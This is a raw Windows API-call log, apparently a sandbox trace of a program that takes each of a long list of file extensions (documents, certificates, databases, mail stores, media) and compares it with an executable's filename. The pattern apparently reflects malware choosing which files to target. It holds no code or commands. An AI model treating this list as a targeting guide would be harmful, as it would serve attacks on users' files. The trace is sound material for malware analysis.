	[0180.754] lstrcmpiW (lpString1=".anim", lpString2="k.exe") returned -1
	[0180.754] lstrlenW (lpString=".arw") returned 4
	[0180.754] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".as") returned 3
	[0180.754] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0180.754] lstrlenW (lpString=".asa") returned 4
	[0180.754] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".asc") returned 4
	[0180.755] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0180.755] lstrlenW (lpString=".ascx") returned 5
	[0180.755] lstrcmpiW (lpString1=".ascx", lpString2="k.exe") returned -1
	[0180.755] lstrlenW (lpString=".asm") returned 4
	[0180.755] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0180.755] lstrlenW (lpString=".asmx") returned 5
	[0180.755] lstrcmpiW (lpString1=".asmx", lpString2="k.exe") returned -1
	[0180.755] lstrlenW (lpString=".asp") returned 4
	[0180.755] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0180.755] lstrlenW (lpString=".aspx") returned 5
	[0180.755] lstrcmpiW (lpString1=".aspx", lpString2="k.exe") returned -1
	[0180.755] lstrlenW (lpString=".asr") returned 4
	[0180.755] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0180.755] lstrlenW (lpString=".asx") returned 4
	[0180.755] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0180.755] lstrlenW (lpString=".avi") returned 4
	[0180.755] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0180.755] lstrlenW (lpString=".avs") returned 4
	[0180.755] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0180.755] lstrlenW (lpString=".backup") returned 7
	[0180.755] lstrcmpiW (lpString1=".backup", lpString2="ook.exe") returned -1
	[0180.755] lstrlenW (lpString=".bak") returned 4
	[0180.755] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0180.755] lstrlenW (lpString=".bay") returned 4
	[0180.756] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0180.756] lstrlenW (lpString=".bd") returned 3
	[0180.756] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0180.756] lstrlenW (lpString=".bin") returned 4
	[0180.756] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0180.756] lstrlenW (lpString=".bmp") returned 4
	[0180.756] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0180.756] lstrlenW (lpString=".bz2") returned 4
	[0180.756] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0180.756] lstrlenW (lpString=".c") returned 2
	[0180.756] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0180.756] lstrlenW (lpString=".cdr") returned 4
	[0180.756] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0180.756] lstrlenW (lpString=".cer") returned 4
	[0180.756] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0180.756] lstrlenW (lpString=".cf") returned 3
	[0180.756] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0180.756] lstrlenW (lpString=".cfc") returned 4
	[0180.756] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0180.756] lstrlenW (lpString=".cfm") returned 4
	[0180.757] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0180.757] lstrlenW (lpString=".cfml") returned 5
	[0180.757] lstrcmpiW (lpString1=".cfml", lpString2="k.exe") returned -1
	[0180.757] lstrlenW (lpString=".cfu") returned 4
	[0180.757] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0180.757] lstrlenW (lpString=".chm") returned 4
	[0180.757] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0180.757] lstrlenW (lpString=".cin") returned 4
	[0180.757] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0180.757] lstrlenW (lpString=".class") returned 6
	[0180.757] lstrcmpiW (lpString1=".class", lpString2="ok.exe") returned -1
	[0180.757] lstrlenW (lpString=".clx") returned 4
	[0180.757] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0180.757] lstrlenW (lpString=".config") returned 7
	[0180.757] lstrcmpiW (lpString1=".config", lpString2="ook.exe") returned -1
	[0180.757] lstrlenW (lpString=".cpp") returned 4
	[0180.757] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0180.757] lstrlenW (lpString=".cr2") returned 4
	[0180.757] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0180.757] lstrlenW (lpString=".crt") returned 4
	[0180.757] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0180.757] lstrlenW (lpString=".crw") returned 4
	[0180.757] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0180.757] lstrlenW (lpString=".cs") returned 3
	[0180.757] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0180.758] lstrlenW (lpString=".css") returned 4
	[0180.758] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0180.758] lstrlenW (lpString=".csv") returned 4
	[0180.758] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0180.758] lstrlenW (lpString=".cub") returned 4
	[0180.758] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0180.758] lstrlenW (lpString=".dae") returned 4
	[0180.758] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0180.758] lstrlenW (lpString=".dat") returned 4
	[0180.758] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0180.758] lstrlenW (lpString=".db") returned 3
	[0180.758] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0180.758] lstrlenW (lpString=".dbf") returned 4
	[0180.758] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0180.758] lstrlenW (lpString=".dbx") returned 4
	[0180.758] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0180.758] lstrlenW (lpString=".dc3") returned 4
	[0180.758] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0180.758] lstrlenW (lpString=".dcm") returned 4
	[0180.758] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0180.758] lstrlenW (lpString=".dcr") returned 4
	[0180.759] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0180.759] lstrlenW (lpString=".der") returned 4
	[0180.759] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0180.759] lstrlenW (lpString=".dib") returned 4
	[0180.759] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0180.759] lstrlenW (lpString=".dic") returned 4
	[0180.759] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0180.759] lstrlenW (lpString=".dif") returned 4
	[0180.759] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0180.759] lstrlenW (lpString=".divx") returned 5
	[0180.759] lstrcmpiW (lpString1=".divx", lpString2="k.exe") returned -1
	[0180.759] lstrlenW (lpString=".djvu") returned 5
	[0180.759] lstrcmpiW (lpString1=".djvu", lpString2="k.exe") returned -1
	[0180.759] lstrlenW (lpString=".dng") returned 4
	[0180.759] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0180.759] lstrlenW (lpString=".doc") returned 4
	[0180.759] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0180.759] lstrlenW (lpString=".docm") returned 5
	[0180.759] lstrcmpiW (lpString1=".docm", lpString2="k.exe") returned -1
	[0180.759] lstrlenW (lpString=".docx") returned 5
	[0180.759] lstrcmpiW (lpString1=".docx", lpString2="k.exe") returned -1
	[0180.759] lstrlenW (lpString=".dot") returned 4
	[0180.759] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0180.759] lstrlenW (lpString=".dotm") returned 5
	[0180.759] lstrcmpiW (lpString1=".dotm", lpString2="k.exe") returned -1
	[0180.760] lstrlenW (lpString=".dotx") returned 5
	[0180.760] lstrcmpiW (lpString1=".dotx", lpString2="k.exe") returned -1
	[0180.760] lstrlenW (lpString=".dpx") returned 4
	[0180.760] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0180.760] lstrlenW (lpString=".dqy") returned 4
	[0180.760] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0180.760] lstrlenW (lpString=".dsn") returned 4
	[0180.760] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0180.760] lstrlenW (lpString=".dt") returned 3
	[0180.760] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0180.760] lstrlenW (lpString=".dtd") returned 4
	[0180.760] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0180.760] lstrlenW (lpString=".dwg") returned 4
	[0180.760] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0180.760] lstrlenW (lpString=".dwt") returned 4
	[0180.760] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0180.760] lstrlenW (lpString=".dx") returned 3
	[0180.760] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0180.760] lstrlenW (lpString=".dxf") returned 4
	[0180.760] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0180.760] lstrlenW (lpString=".edml") returned 5
	[0180.760] lstrcmpiW (lpString1=".edml", lpString2="k.exe") returned -1
	[0180.760] lstrlenW (lpString=".efd") returned 4
	[0180.760] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0180.761] lstrlenW (lpString=".elf") returned 4
	[0180.761] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0180.761] lstrlenW (lpString=".emf") returned 4
	[0180.761] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0180.761] lstrlenW (lpString=".emz") returned 4
	[0180.761] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0180.761] lstrlenW (lpString=".epf") returned 4
	[0180.761] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0180.761] lstrlenW (lpString=".eps") returned 4
	[0180.761] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0180.761] lstrlenW (lpString=".epsf") returned 5
	[0180.761] lstrcmpiW (lpString1=".epsf", lpString2="k.exe") returned -1
	[0180.761] lstrlenW (lpString=".epsp") returned 5
	[0180.761] lstrcmpiW (lpString1=".epsp", lpString2="k.exe") returned -1
	[0180.761] lstrlenW (lpString=".erf") returned 4
	[0180.761] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0180.761] lstrlenW (lpString=".exr") returned 4
	[0180.761] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0180.761] lstrlenW (lpString=".f4v") returned 4
	[0180.761] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0180.761] lstrlenW (lpString=".fido") returned 5
	[0180.761] lstrcmpiW (lpString1=".fido", lpString2="k.exe") returned -1
	[0180.761] lstrlenW (lpString=".flm") returned 4
	[0180.761] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0180.761] lstrlenW (lpString=".flv") returned 4
	[0180.761] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0180.762] lstrlenW (lpString=".frm") returned 4
	[0180.762] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0180.762] lstrlenW (lpString=".fxg") returned 4
	[0180.762] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0180.820] lstrlenW (lpString=".geo") returned 4
	[0180.820] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0180.820] lstrlenW (lpString=".gif") returned 4
	[0180.820] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0180.820] lstrlenW (lpString=".grs") returned 4
	[0180.820] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0180.820] lstrlenW (lpString=".gz") returned 3
	[0180.820] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0180.821] lstrlenW (lpString=".h") returned 2
	[0180.821] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0180.821] lstrlenW (lpString=".hdr") returned 4
	[0180.821] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0180.821] lstrlenW (lpString=".hpp") returned 4
	[0180.821] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0180.821] lstrlenW (lpString=".hta") returned 4
	[0180.821] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0180.821] lstrlenW (lpString=".htc") returned 4
	[0180.821] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0180.821] lstrlenW (lpString=".htm") returned 4
	[0180.821] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0180.821] lstrlenW (lpString=".html") returned 5
	[0180.821] lstrcmpiW (lpString1=".html", lpString2="k.exe") returned -1
	[0180.821] lstrlenW (lpString=".icb") returned 4
	[0180.821] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0180.821] lstrlenW (lpString=".ics") returned 4
	[0180.821] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".iff") returned 4
	[0180.836] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".inc") returned 4
	[0180.836] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".indd") returned 5
	[0180.836] lstrcmpiW (lpString1=".indd", lpString2="k.exe") returned -1
	[0180.836] lstrlenW (lpString=".ini") returned 4
	[0180.836] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".iqy") returned 4
	[0180.836] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".j2c") returned 4
	[0180.836] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".j2k") returned 4
	[0180.836] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".java") returned 5
	[0180.836] lstrcmpiW (lpString1=".java", lpString2="k.exe") returned -1
	[0180.836] lstrlenW (lpString=".jp2") returned 4
	[0180.836] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".jpc") returned 4
	[0180.836] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".jpe") returned 4
	[0180.836] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0180.836] lstrlenW (lpString=".jpeg") returned 5
	[0180.837] lstrcmpiW (lpString1=".jpeg", lpString2="k.exe") returned -1
	[0180.837] lstrlenW (lpString=".jpf") returned 4
	[0180.837] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0180.837] lstrlenW (lpString=".jpg") returned 4
	[0180.837] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0180.837] lstrlenW (lpString=".jpx") returned 4
	[0180.837] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0180.837] lstrlenW (lpString=".js") returned 3
	[0180.837] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0180.837] lstrlenW (lpString=".jsf") returned 4
	[0180.837] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0180.837] lstrlenW (lpString=".json") returned 5
	[0180.837] lstrcmpiW (lpString1=".json", lpString2="k.exe") returned -1
	[0180.837] lstrlenW (lpString=".jsp") returned 4
	[0180.837] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0180.837] lstrlenW (lpString=".kdc") returned 4
	[0180.837] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0180.837] lstrlenW (lpString=".kmz") returned 4
	[0180.837] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0180.837] lstrlenW (lpString=".kwm") returned 4
	[0180.837] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0180.837] lstrlenW (lpString=".lasso") returned 6
	[0180.837] lstrcmpiW (lpString1=".lasso", lpString2="ok.exe") returned -1
	[0180.837] lstrlenW (lpString=".lbi") returned 4
	[0180.837] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0180.837] lstrlenW (lpString=".lgf") returned 4
	[0180.837] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".lgp") returned 4
	[0180.838] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".log") returned 4
	[0180.838] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".m1v") returned 4
	[0180.838] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".m4a") returned 4
	[0180.838] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".m4v") returned 4
	[0180.838] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".max") returned 4
	[0180.838] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".md") returned 3
	[0180.838] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0180.838] lstrlenW (lpString=".mda") returned 4
	[0180.838] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".mdb") returned 4
	[0180.838] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".mde") returned 4
	[0180.838] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".mdf") returned 4
	[0180.838] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".mdw") returned 4
	[0180.838] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0180.838] lstrlenW (lpString=".mef") returned 4
	[0180.839] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0180.839] lstrlenW (lpString=".mft") returned 4
	[0180.839] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0180.839] lstrlenW (lpString=".mfw") returned 4
	[0180.839] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0180.839] lstrlenW (lpString=".mht") returned 4
	[0180.839] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0180.839] lstrlenW (lpString=".mhtml") returned 6
	[0180.839] lstrcmpiW (lpString1=".mhtml", lpString2="ok.exe") returned -1
	[0180.839] lstrlenW (lpString=".mka") returned 4
	[0180.839] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0180.839] lstrlenW (lpString=".mkidx") returned 6
	[0180.839] lstrcmpiW (lpString1=".mkidx", lpString2="ok.exe") returned -1
	[0180.839] lstrlenW (lpString=".mkv") returned 4
	[0180.839] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0180.839] lstrlenW (lpString=".mos") returned 4
	[0180.839] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0180.839] lstrlenW (lpString=".mov") returned 4
	[0180.839] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0180.839] lstrlenW (lpString=".mp3") returned 4
	[0180.839] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0180.839] lstrlenW (lpString=".mp4") returned 4
	[0180.840] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".mpeg") returned 5
	[0180.840] lstrcmpiW (lpString1=".mpeg", lpString2="k.exe") returned -1
	[0180.840] lstrlenW (lpString=".mpg") returned 4
	[0180.840] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".mpv") returned 4
	[0180.840] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".mrw") returned 4
	[0180.840] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".msg") returned 4
	[0180.840] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".mxl") returned 4
	[0180.840] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".myd") returned 4
	[0180.840] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".myi") returned 4
	[0180.840] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".nef") returned 4
	[0180.840] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".nrw") returned 4
	[0180.840] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".obj") returned 4
	[0180.840] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".odb") returned 4
	[0180.840] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0180.840] lstrlenW (lpString=".odc") returned 4
	[0180.840] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".odm") returned 4
	[0180.841] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".odp") returned 4
	[0180.841] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".ods") returned 4
	[0180.841] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".oft") returned 4
	[0180.841] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".one") returned 4
	[0180.841] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".onepkg") returned 7
	[0180.841] lstrcmpiW (lpString1=".onepkg", lpString2="ook.exe") returned -1
	[0180.841] lstrlenW (lpString=".onetoc2") returned 8
	[0180.841] lstrcmpiW (lpString1=".onetoc2", lpString2="look.exe") returned -1
	[0180.841] lstrlenW (lpString=".opt") returned 4
	[0180.841] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".oqy") returned 4
	[0180.841] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".orf") returned 4
	[0180.841] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".p12") returned 4
	[0180.841] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0180.841] lstrlenW (lpString=".p7b") returned 4
	[0180.842] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".p7c") returned 4
	[0180.842] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pam") returned 4
	[0180.842] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pbm") returned 4
	[0180.842] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pct") returned 4
	[0180.842] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pcx") returned 4
	[0180.842] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pdd") returned 4
	[0180.842] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pdf") returned 4
	[0180.842] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pdp") returned 4
	[0180.842] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pef") returned 4
	[0180.842] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pem") returned 4
	[0180.842] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pff") returned 4
	[0180.842] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pfm") returned 4
	[0180.842] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pfx") returned 4
	[0180.842] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0180.842] lstrlenW (lpString=".pgm") returned 4
	[0180.843] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0180.843] lstrlenW (lpString=".php") returned 4
	[0180.843] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0180.843] lstrlenW (lpString=".php3") returned 5
	[0180.843] lstrcmpiW (lpString1=".php3", lpString2="k.exe") returned -1
	[0180.843] lstrlenW (lpString=".php4") returned 5
	[0180.843] lstrcmpiW (lpString1=".php4", lpString2="k.exe") returned -1
	[0180.843] lstrlenW (lpString=".php5") returned 5
	[0180.843] lstrcmpiW (lpString1=".php5", lpString2="k.exe") returned -1
	[0180.843] lstrlenW (lpString=".phtml") returned 6
	[0180.843] lstrcmpiW (lpString1=".phtml", lpString2="ok.exe") returned -1
	[0180.843] lstrlenW (lpString=".pict") returned 5
	[0180.843] lstrcmpiW (lpString1=".pict", lpString2="k.exe") returned -1
	[0180.843] lstrlenW (lpString=".pl") returned 3
	[0180.843] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0180.843] lstrlenW (lpString=".pls") returned 4
	[0180.843] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0180.843] lstrlenW (lpString=".pm") returned 3
	[0180.843] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0180.843] lstrlenW (lpString=".png") returned 4
	[0180.843] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0180.843] lstrlenW (lpString=".pnm") returned 4
	[0180.843] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0180.843] lstrlenW (lpString=".pot") returned 4
	[0180.843] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0180.843] lstrlenW (lpString=".potm") returned 5
	[0180.843] lstrcmpiW (lpString1=".potm", lpString2="k.exe") returned -1
	[0180.843] lstrlenW (lpString=".potx") returned 5
	[0180.844] lstrcmpiW (lpString1=".potx", lpString2="k.exe") returned -1
	[0180.844] lstrlenW (lpString=".ppa") returned 4
	[0180.844] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0180.844] lstrlenW (lpString=".ppam") returned 5
	[0180.844] lstrcmpiW (lpString1=".ppam", lpString2="k.exe") returned -1
	[0180.844] lstrlenW (lpString=".ppm") returned 4
	[0180.844] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0180.844] lstrlenW (lpString=".pps") returned 4
	[0180.844] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0180.844] lstrlenW (lpString=".ppsm") returned 5
	[0180.844] lstrcmpiW (lpString1=".ppsm", lpString2="k.exe") returned -1
	[0180.844] lstrlenW (lpString=".ppt") returned 4
	[0180.844] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0180.844] lstrlenW (lpString=".pptm") returned 5
	[0180.844] lstrcmpiW (lpString1=".pptm", lpString2="k.exe") returned -1
	[0180.844] lstrlenW (lpString=".pptx") returned 5
	[0180.844] lstrcmpiW (lpString1=".pptx", lpString2="k.exe") returned -1
	[0180.844] lstrlenW (lpString=".prn") returned 4
	[0180.844] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0180.844] lstrlenW (lpString=".ps") returned 3
	[0180.844] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0180.844] lstrlenW (lpString=".psb") returned 4
	[0180.844] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0180.844] lstrlenW (lpString=".psd") returned 4
	[0180.844] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0180.844] lstrlenW (lpString=".pst") returned 4
	[0180.844] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0180.844] lstrlenW (lpString=".ptx") returned 4
	[0180.845] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0180.845] lstrlenW (lpString=".pub") returned 4
	[0180.845] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0180.845] lstrlenW (lpString=".pwm") returned 4
	[0180.845] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0180.845] lstrlenW (lpString=".pxr") returned 4
	[0180.845] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0180.845] lstrlenW (lpString=".py") returned 3
	[0180.845] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0180.845] lstrlenW (lpString=".qt") returned 3
	[0180.845] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0180.845] lstrlenW (lpString=".r3d") returned 4
	[0180.845] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0180.845] lstrlenW (lpString=".raf") returned 4
